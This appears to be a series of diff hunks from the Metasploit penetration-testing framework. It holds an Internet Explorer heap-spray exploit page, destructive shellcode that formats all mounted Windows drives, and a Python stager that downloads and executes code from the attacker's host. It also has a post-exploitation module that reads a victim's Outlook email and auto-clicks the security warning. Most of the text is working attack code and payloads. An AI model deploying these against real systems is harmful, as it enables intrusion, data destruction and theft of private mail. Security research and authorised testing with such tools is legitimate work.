|
||||||
|
<html>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
#{js_property_spray}
|
||||||
|
|
||||||
|
tt = new Array(30);
|
||||||
|
|
||||||
|
function trigger()
|
||||||
|
{
|
||||||
|
var id_0 = document.createElement("sup");
|
||||||
|
var id_1 = document.createElement("audio");
|
||||||
|
|
||||||
|
document.body.appendChild(id_0);
|
||||||
|
document.body.appendChild(id_1);
|
||||||
|
id_1.applyElement(id_0);
|
||||||
|
|
||||||
|
id_0.onlosecapture=function(e) {
|
||||||
|
document.write("");
|
||||||
|
|
||||||
|
for(i = 0; i < tt.length; i++) {
|
||||||
|
tt[i] = document.createElement('div');
|
||||||
|
tt[i].className ="#{free_fill}";
|
||||||
|
}
|
||||||
|
|
||||||
|
var s = unescape("#{js_rop}");
|
||||||
|
sprayHeap({shellcode:s});
|
||||||
|
}
|
||||||
|
|
||||||
|
id_0['outerText']="";
|
||||||
|
id_0.setCapture();
|
||||||
|
id_1.setCapture();
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
trigger();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
def on_request_exploit(cli, request, target_info)
|
def on_request_exploit(cli, request, target_info)
|
||||||
html = get_exploit_html(cli, target_info)
|
case target_info[:ua_ver]
|
||||||
|
when "8.0"
|
||||||
|
html = get_exploit_html_ie8(cli, target_info)
|
||||||
|
when "9.0"
|
||||||
|
html = get_exploit_html_ie9(cli, target_info)
|
||||||
|
end
|
||||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -258,6 +336,13 @@ hxds.dll (Microsoft® Help Data Services Module)
|
||||||
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
|
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
|
||||||
|
|
||||||
mshtml.dll
|
mshtml.dll
|
||||||
|
|
||||||
|
WinXP IE8 DLL info:
|
||||||
|
ProductVersion: 8.0.6001.18702
|
||||||
|
FileVersion: 8.0.6001.18702
|
||||||
|
FileDescription: Microsoft (R) HTML Viewer
|
||||||
|
|
||||||
|
Win7 IE9 DLL info:
|
||||||
ProductVersion: 9.00.8112.16446
|
ProductVersion: 9.00.8112.16446
|
||||||
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
|
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
|
||||||
FileDescription: Microsoft (R) HTML Viewer
|
FileDescription: Microsoft (R) HTML Viewer
|
||||||
|
|
|
@ -58,10 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script/i,
|
:source => /script/i,
|
||||||
:os_name => OperatingSystems::WINDOWS,
|
:os_name => 'Windows 7',
|
||||||
:ua_name => HttpClients::IE,
|
:ua_name => HttpClients::IE,
|
||||||
:ua_ver => "9.0",
|
:ua_ver => "9.0",
|
||||||
:os_flavor => "7",
|
|
||||||
:java => /1\.6|6\.0/,
|
:java => /1\.6|6\.0/,
|
||||||
:mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun
|
:mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun
|
||||||
},
|
},
|
||||||
|
|
|
@ -44,8 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script|headers/i,
|
:source => /script|headers/i,
|
||||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
:os_name => 'Windows 7',
|
||||||
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
|
|
||||||
:ua_name => Msf::HttpClients::IE,
|
:ua_name => Msf::HttpClients::IE,
|
||||||
:ua_ver => '10.0',
|
:ua_ver => '10.0',
|
||||||
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
|
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
|
||||||
|
|
|
@ -27,10 +27,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
|
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
||||||
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
|
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
|
||||||
Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
|
For this module to be successful, powershell is required on the target machine. On
|
||||||
the user has to manually allow powershell.exe to execute in order to be compromised.
|
Internet Explorer versions using Protected Mode, the user has to manually allow
|
||||||
|
powershell.exe to execute in order to be compromised.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
|
|
@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')
|
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def junk
|
def junk
|
||||||
|
|
|
@ -1,95 +1,91 @@
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
###
|
###
|
||||||
# Shellcode Of Death
|
# Shellcode Of Death
|
||||||
#
|
#
|
||||||
# Test bed:
|
# Test bed:
|
||||||
# x86: Windows XP SP3, Windows 2003 SP2, Windows 7
|
# x86: Windows XP SP3, Windows 2003 SP2, Windows 7
|
||||||
# x64: Windows 8.1
|
# x64: Windows 8.1
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
Rank = ManualRanking
|
Rank = ManualRanking
|
||||||
|
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Drive Formatter',
|
'Name' => 'Windows Drive Formatter',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This payload formats all mounted disks in
|
This payload formats all mounted disks in Windows (aka ShellcodeOfDeath).
|
||||||
Windows (aka ShellcodeOfDeath).
|
|
||||||
|
After formatting, this payload sets the volume label to the string specified in
|
||||||
After formatting, this payload sets the
|
the VOLUMELABEL option. If the code is unable to access a drive for any reason,
|
||||||
volume label to the string specified in
|
it skips the drive and proceeds to the next volume.
|
||||||
the VOLUMELABEL option. If the code is
|
},
|
||||||
unable to access a drive for any reason,
|
'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>',
|
||||||
it skips the drive and proceeds to the
|
'Ruei-Min Jiang <mike820324[at]gmail.com>'
|
||||||
next volume.
|
],
|
||||||
},
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>',
|
'References' =>
|
||||||
'Ruei-Min Jiang <mike820324[at]gmail.com>'
|
[
|
||||||
],
|
[ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ],
|
||||||
'License' => MSF_LICENSE,
|
[ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ],
|
||||||
'References' =>
|
],
|
||||||
[
|
'Platform' => 'win',
|
||||||
[ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ],
|
'Arch' => ARCH_X86,
|
||||||
[ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ],
|
'Privileged' => true,
|
||||||
],
|
))
|
||||||
'Platform' => 'win',
|
|
||||||
'Arch' => ARCH_X86,
|
# EXITFUNC is not supported
|
||||||
'Privileged' => true,
|
deregister_options('EXITFUNC')
|
||||||
))
|
|
||||||
|
# Register command execution options
|
||||||
# EXITFUNC is not supported
|
register_options(
|
||||||
deregister_options('EXITFUNC')
|
[
|
||||||
|
OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ])
|
||||||
# Register command execution options
|
], self.class)
|
||||||
register_options(
|
end
|
||||||
[
|
|
||||||
OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ])
|
def generate
|
||||||
], self.class)
|
|
||||||
end
|
volume_label = datastore['VOLUMELABEL'] || ""
|
||||||
|
encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*")
|
||||||
def generate
|
|
||||||
|
# Calculate the magic key
|
||||||
volume_label = datastore['VOLUMELABEL'] || ""
|
magic_key = encoded_volume_label.length + 28
|
||||||
encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*")
|
|
||||||
|
# Actual payload
|
||||||
# Calculate the magic key
|
payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" +
|
||||||
magic_key = encoded_volume_label.length + 28
|
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" +
|
||||||
|
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" +
|
||||||
# Actual payload
|
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" +
|
||||||
payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" +
|
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" +
|
||||||
"\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" +
|
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" +
|
||||||
"\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" +
|
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" +
|
||||||
"\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" +
|
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" +
|
||||||
"\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" +
|
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" +
|
||||||
"\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" +
|
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" +
|
||||||
"\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" +
|
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" +
|
||||||
"\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" +
|
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" +
|
||||||
"\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" +
|
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" +
|
||||||
"\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" +
|
# You need to adjust this. Logic: encoded_volume_label.length + 28
|
||||||
"\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" +
|
[magic_key].pack("C") +
|
||||||
"\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" +
|
"\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" +
|
||||||
"\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" +
|
"\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" +
|
||||||
# You need to adjust this. Logic: encoded_volume_label.length + 28
|
"\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" +
|
||||||
[magic_key].pack("C") +
|
"\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" +
|
||||||
"\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" +
|
"\x53\x00\x00\x00" +
|
||||||
"\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" +
|
# Volume Label, default: PwNeD
|
||||||
"\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" +
|
encoded_volume_label +
|
||||||
"\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" +
|
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00"
|
||||||
"\x53\x00\x00\x00" +
|
end
|
||||||
# Volume Label, default: PwNeD
|
end
|
||||||
encoded_volume_label +
|
|
||||||
"\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -0,0 +1,67 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_http'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Reverse HTTP Stager',
|
||||||
|
'Description' => 'Tunnel communication over HTTP',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseHttp,
|
||||||
|
'Stager' => {'Payload' => ""}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||||
|
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||||
|
], Msf::Handler::ReverseHttp)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||||
|
|
||||||
|
var_escape = lambda { |txt|
|
||||||
|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||||
|
}
|
||||||
|
|
||||||
|
target_url = 'http://'
|
||||||
|
target_url << lhost
|
||||||
|
target_url << ':'
|
||||||
|
target_url << datastore['LPORT'].to_s
|
||||||
|
target_url << '/'
|
||||||
|
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||||
|
|
||||||
|
cmd = "import sys\n"
|
||||||
|
if datastore['PROXYHOST'].blank?
|
||||||
|
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||||
|
else
|
||||||
|
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||||
|
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||||
|
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||||
|
end
|
||||||
|
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||||
|
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||||
|
|
||||||
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||||
|
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||||
|
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||||
|
b64_stub << Rex::Text.encode_base64(cmd)
|
||||||
|
b64_stub << "')))"
|
||||||
|
return b64_stub
|
||||||
|
end
|
||||||
|
end
|
|
@ -14,10 +14,7 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Python Meterpreter',
|
'Name' => 'Python Meterpreter',
|
||||||
'Description' => %q{
|
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)',
|
||||||
Run a meterpreter server in Python. Supported Python versions
|
|
||||||
are 2.5 - 2.7 and 3.1 - 3.4.
|
|
||||||
},
|
|
||||||
'Author' => 'Spencer McIntyre',
|
'Author' => 'Spencer McIntyre',
|
||||||
'Platform' => 'python',
|
'Platform' => 'python',
|
||||||
'Arch' => ARCH_PYTHON,
|
'Arch' => ARCH_PYTHON,
|
||||||
|
@ -25,18 +22,18 @@ module Metasploit3
|
||||||
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||||
))
|
))
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
|
OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_stage
|
def generate_stage
|
||||||
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||||
|
|
||||||
met = File.open(file, "rb") {|f|
|
met = ::File.open(file, "rb") {|f|
|
||||||
f.read(f.stat.size)
|
f.read(f.stat.size)
|
||||||
}
|
}
|
||||||
|
|
||||||
if datastore['DEBUGGING']
|
if datastore['PythonMeterpreterDebug']
|
||||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,152 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Post::Windows::Registry
|
||||||
|
include Msf::Post::Windows::Powershell
|
||||||
|
|
||||||
|
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
|
||||||
|
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Gather Outlook Email Messages',
|
||||||
|
'Description' => %q{
|
||||||
|
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
|
||||||
|
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
|
||||||
|
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'Arch' => [ 'x86', 'x64' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'Actions' => [
|
||||||
|
[ 'LIST', { 'Description' => 'Lists all folders' } ],
|
||||||
|
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'LIST'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),
|
||||||
|
OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),
|
||||||
|
OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
|
||||||
|
OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_outlook_script(command)
|
||||||
|
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1"))
|
||||||
|
psh_script = base_script << command
|
||||||
|
compressed_script = compress_script(psh_script)
|
||||||
|
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
|
||||||
|
while(d = cmd_out.channel.read)
|
||||||
|
print ("#{d}")
|
||||||
|
end
|
||||||
|
currentidle = session.ui.idle_time
|
||||||
|
vprint_status("System has currently been idle for #{currentidle} seconds")
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function prints a listing of available mailbox folders
|
||||||
|
def listBoxes
|
||||||
|
command = 'List-Folder'
|
||||||
|
execute_outlook_script(command)
|
||||||
|
end
|
||||||
|
|
||||||
|
# This functions reads Outlook using powershell scripts
|
||||||
|
def readEmails(folder,keyword,atrans,acftrans)
|
||||||
|
view = framework.threads.spawn("ButtonClicker", false) {
|
||||||
|
clickButton(atrans,acftrans)
|
||||||
|
}
|
||||||
|
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
|
||||||
|
execute_outlook_script(command)
|
||||||
|
end
|
||||||
|
|
||||||
|
def clickButton(atrans,acftrans)
|
||||||
|
# This functions clicks on the security notification generated by Outlook.
|
||||||
|
sleep 1
|
||||||
|
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
|
||||||
|
if hwnd != 0
|
||||||
|
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
|
||||||
|
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
|
||||||
|
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
|
||||||
|
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
|
||||||
|
client.railgun.user32.SetActiveWindow(hwndChild['return'])
|
||||||
|
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
|
||||||
|
client.railgun.user32.SetCursorPos(150,150)
|
||||||
|
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
|
||||||
|
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
|
||||||
|
else
|
||||||
|
print_error("Error while clicking on the Outlook security notification. Window could not be found")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
# Main method
|
||||||
|
folder = datastore['FOLDER']
|
||||||
|
keyword = datastore['KEYWORD'].to_s
|
||||||
|
allow = datastore['A_TRANSLATION']
|
||||||
|
allow_access_for = datastore['ACF_TRANSLATION']
|
||||||
|
langNotSupported = true
|
||||||
|
|
||||||
|
# OS language check
|
||||||
|
sysLang = client.sys.config.sysinfo['System Language']
|
||||||
|
A_HASH.each do |key, val|
|
||||||
|
if sysLang == key
|
||||||
|
langNotSupported = false
|
||||||
|
atrans = A_HASH[sysLang]
|
||||||
|
acftrans = ACF_HASH[sysLang]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if allow and allow_access_for
|
||||||
|
atrans = allow
|
||||||
|
acftrans = allow_access_for
|
||||||
|
else
|
||||||
|
if langNotSupported == true
|
||||||
|
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Outlook installed
|
||||||
|
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||||
|
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
|
||||||
|
|
||||||
|
if !outlookInstalled.nil?
|
||||||
|
if outlookInstalled != 0
|
||||||
|
print_good "Outlook is installed"
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Outlook is not installed")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Powershell installed check
|
||||||
|
if have_powershell?
|
||||||
|
print_good("Powershell is installed.")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Powershell is not installed")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check whether target system is locked
|
||||||
|
locked = client.railgun.user32.GetForegroundWindow()['return']
|
||||||
|
if locked == 0
|
||||||
|
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
|
||||||
|
end
|
||||||
|
|
||||||
|
case action.name
|
||||||
|
when 'LIST'
|
||||||
|
print_good('Available folders in the mailbox: ')
|
||||||
|
listBoxes
|
||||||
|
when 'SEARCH'
|
||||||
|
readEmails(folder,keyword,atrans,acftrans)
|
||||||
|
else
|
||||||
|
print_error("Unknown Action: #{action.name}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -45,4 +45,50 @@ describe Msf::Module do
|
||||||
it { is_expected.to respond_to :cached? }
|
it { is_expected.to respond_to :cached? }
|
||||||
it { is_expected.to respond_to :is_usable }
|
it { is_expected.to respond_to :is_usable }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
describe "cloning modules into replicants" do
|
||||||
|
module MsfExtensionTestFoo; def my_test1; true; end; end;
|
||||||
|
module MsfExtensionTestBar; def my_test2; true; end; end;
|
||||||
|
|
||||||
|
describe "#perform_extensions" do
|
||||||
|
describe "when there are extensions registered" do
|
||||||
|
before(:each) do
|
||||||
|
msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should extend the module replicant with the constants referenced in the datastore' do
|
||||||
|
expect(msf_module.replicant).to respond_to(:my_test1)
|
||||||
|
expect(msf_module.replicant).to respond_to(:my_test2)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "when the datastore key has invalid data" do
|
||||||
|
before(:each) do
|
||||||
|
msf_module.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY] = "invalid"
|
||||||
|
end
|
||||||
|
|
||||||
|
